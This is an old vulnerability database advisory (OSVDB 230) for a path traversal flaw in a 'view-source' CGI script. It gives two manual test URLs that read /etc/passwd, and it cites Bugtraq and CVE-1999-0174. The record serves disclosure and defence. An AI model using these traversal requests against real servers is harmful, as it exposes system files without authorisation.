Multiple Vendor view-source Traversal Arbitrary File Access

1997-02-08T00:00:00
ID OSVDB:230
Type osvdb
Reporter OSVDB
Modified 1997-02-08T00:00:00

Description

Manual Testing Notes

http://[victim]/cgi-bin/view-source?../../../../../../../etc/passwd

http://[victim]/cgi-bin/view-source?/etc/passwd

References:

Mail List Post: http://archives.neohapsis.com/archives/bugtraq/1997_1/0136.html ISS X-Force ID: 291 CVE-1999-0174 Bugtraq ID: 2251